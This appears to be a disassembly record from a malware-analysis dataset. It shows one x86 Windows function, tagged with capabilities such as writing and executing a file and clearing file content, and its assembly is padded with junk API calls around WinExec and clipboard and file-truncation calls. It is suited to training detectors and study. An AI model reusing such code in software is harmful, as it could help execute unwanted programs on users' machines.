Function at 0x10001503
Capabilities:
Clear file content
Create process on windows
Resolve function by parsing pe exports
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xc0
mov esi, esp
mov eax, 0x10
call fcn.10006250
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ecx, 4
mov dword [esi + 0xb4], eax
mov eax, ecx
mov dword [esi + 0xb0], ecx
call fcn.10006250
mov eax, esp
mov ecx, 8
mov dword [esi + 0xac], eax
mov eax, ecx
mov dword [esi + 0xa8], ecx
call fcn.10006250
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ecx, dword [esi + 0xb0]
mov dword [esi + 0xa4], eax
mov eax, ecx
call fcn.10006250
mov eax, esp
mov ecx, dword [esi + 0xa8]
mov dword [esi + 0xa0], eax
mov eax, ecx
call fcn.10006250
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ecx, 0xc0
mov dword [esi + 0x9c], eax
mov eax, ecx
call fcn.10006250
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov ecx, 0x90
mov dword [esi + 0x98], eax
mov eax, ecx
call fcn.10006250
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0xb8], 0x57c
sub esp, 0xc
mov ecx, esp
lea edx, [esi + 0xb8]
mov dword [ecx + 8], edx
mov dword [ecx + 4], 0xaae
mov dword [ecx], 0xd1290f
mov ecx, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov dword [esi + 0x94], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x1db73
mov ecx, dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [esi + 0x90], eax
call ecx
sub esp, 8
mov ecx, esp
mov edx, dword [esi + 0xb4]
mov dword [ecx + 4], edx
mov dword [ecx], 0x2ef9f2
mov ecx, dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [esi + 0x8c], eax
call ecx
mov ecx, dword [esi + 0xac]
mov dword [ecx], 0x986
sub esp, 8
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], 0x8377e0
mov edx, dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov dword [esi + 0x88], eax
call edx
sub esp, 0xc
mov ecx, esp
mov dword [ecx + 8], 0xd96
mov dword [ecx + 4], 0x10008431
mov dword [ecx], 0xe6f
mov ecx, dword [sym.imp.USER32.dll_CharNextExA]
mov dword [esi + 0x84], eax
call ecx
sub esp, 8
mov ecx, esp
mov edx, dword [esi + 0xa4]
mov dword [ecx + 4], edx
mov dword [ecx], 0x96ce39
mov ecx, dword [sym.imp.GDI32.dll_GetDCOrgEx]
mov dword [esi + 0x80], eax
call ecx
xor ecx, ecx
mov edx, dword [esi + 0x98]
mov edi, dword [esi + 0x94]
mov dword [esi + 0x7c], eax
mov dword [esi + 0x78], edi
mov dword [esi + 0x74], edx
mov dword [esi + 0x70], ecx
jmp 0x100017d6
mov eax, dword [esi + 0x6c]
sub esp, 0xc
mov ecx, esp
mov dword [ecx + 8], 0x41cc86
mov dword [ecx + 4], 0x3dacc2
mov dword [ecx], 0xaf3
mov ecx, dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [esi + 0x68], eax
call ecx
xor ecx, ecx
mov edx, 0x90
mov edi, 0xc0
mov ebx, dword [esi + 0x68]
add ebx, 1
sub esp, 0xc
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x74]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc0
mov dword [esi + 0x60], ecx
mov dword [esi + 0x5c], edx
mov dword [esi + 0x58], edi
mov dword [esi + 0x54], ebx
call sub.msvcrt.dll_memset
add esp, 0xc
sub esp, 0xc
mov eax, dword [esi + 0x78]
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x90
call sub.msvcrt.dll_memset
add esp, 0xc
sub esp, 0xc
mov eax, esp
mov ecx, dword [esi + 0x94]
mov dword [eax + 8], ecx
mov edx, dword [esi + 0x98]
mov dword [eax + 4], edx
mov dword [eax], 0x868
call sub.POWRPROF.dll_SetActivePwrScheme
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0xfa9
mov dword [ecx], 0x28eea6
mov ecx, dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
mov byte [esi + 0x53], al
call ecx
mov ecx, dword [esi + 0x54]
cmp ecx, 0xa
mov dword [esi + 0x4c], eax
mov dword [esi + 0x6c], ecx
je 0x10001975
jmp 0x100016bd
mov eax, dword [esi + 0x48]
add eax, 1
cmp eax, 0x317
mov dword [esi + 0x44], eax
je 0x100018a6
mov eax, dword [esi + 0x44]
mov ecx, 0x12
mov dword [esi + 0x48], eax
xor edx, edx
div ecx
cmp edx, 2
je 0x1000188c
jmp 0x100017a3
mov eax, dword [esi + 0x70]
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x61a
mov dword [ecx], 0x9e1f33
mov ecx, dword [sym.imp.USER32.dll_WaitForInputIdle]
mov dword [esi + 0x40], eax
call ecx
sub esp, 0x14
mov ecx, esp
mov dword [ecx + 0x10], 0xb12
mov dword [ecx + 0xc], 0xaca
mov dword [ecx + 8], 0xb12
mov dword [ecx + 4], 0xb12
mov dword [ecx], 0x418ae0
mov ecx, dword [sym.imp.GDI32.dll_ExcludeClipRect]
mov dword [esi + 0x3c], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx + 8], 0xbd2
mov dword [ecx + 4], 0x89172f
mov dword [ecx], 0x93e4f2
mov ecx, dword [sym.imp.USER32.dll_GetDCEx]
mov dword [esi + 0x38], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x34bf39
mov ecx, dword [sym.imp.KERNEL32.dll_SetCommBreak]
mov dword [esi + 0x34], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0xf30
mov dword [ecx], str.o_OP_e
mov ecx, dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [esi + 0x30], eax
call ecx
xor ecx, ecx
mov dword [esi + 0x2c], eax
mov dword [esi + 0x44], ecx
jmp 0x100017b9
sub esp, 4
mov eax, esp
mov dword [eax], 0x38e78d
mov eax, dword [sym.imp.USER32.dll_SetClipboardViewer]
call eax
mov dword [esi + 0x28], eax
jmp 0x100017a3
xor eax, eax
xor ecx, ecx
mov edx, dword [esi + 0x40]
sub edx, 4
mov dword [esi + 0x24], eax
mov dword [esi + 0x20], ecx
mov dword [esi + 0x1c], edx
je 0x1000190f
jmp 0x100018bd
mov eax, dword [esi + 0x40]
sub eax, 0x3b
mov ecx, dword [esi + 0x20]
mov dword [esi + 0x18], eax
mov dword [esi + 0x6c], ecx
jne 0x100016bd
jmp 0x100018d4
sub esp, 4
mov eax, esp
mov dword [eax], 0xa28cde
mov eax, dword [sym.imp.KERNEL32.dll_SetEndOfFile]
call eax
mov ecx, 0x9be454
mov edx, dword [esi + 0xa0]
mov dword [edx], ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], edx
mov dword [ecx + 4], 0xeb29f9
mov ecx, dword [sym.imp.ADVAPI32.dll_SetThreadToken]
mov dword [esi + 0x14], eax
call ecx
mov dword [esi + 0x10], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0x44c
mov eax, dword [sym.imp.GDI32.dll_GdiSetBatchLimit]
call eax
sub esp, 8
mov ecx, esp
mov edx, dword [esi + 0x9c]
mov dword [ecx + 4], edx
mov dword [ecx], 0x4b48d4
mov ecx, dword [sym.imp.GDI32.dll_GetViewportExtEx]
mov dword [esi + 0xc], eax
call ecx
sub esp, 0x14
mov ecx, esp
mov dword [ecx + 0x10], 0x45d
mov dword [ecx + 0xc], 0xa00
mov dword [ecx + 8], 0xa00
mov dword [ecx + 4], 0x45d
mov dword [ecx], 0x8a9466
mov ecx, dword [sym.imp.USER32.dll_CopyImage]
mov dword [esi + 8], eax
call ecx
mov dword [esi + 4], eax
sub esp, 4
mov eax, esp
mov dword [eax], 0xc67ab5
mov eax, dword [sym.imp.GDI32.dll_GetBkMode]
call eax
mov ecx, dword [esi + 0x40]
add ecx, 1
cmp ecx, 0xa5
mov dword [esi], eax
mov dword [esi + 0x70], ecx
jne 0x100017d6
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret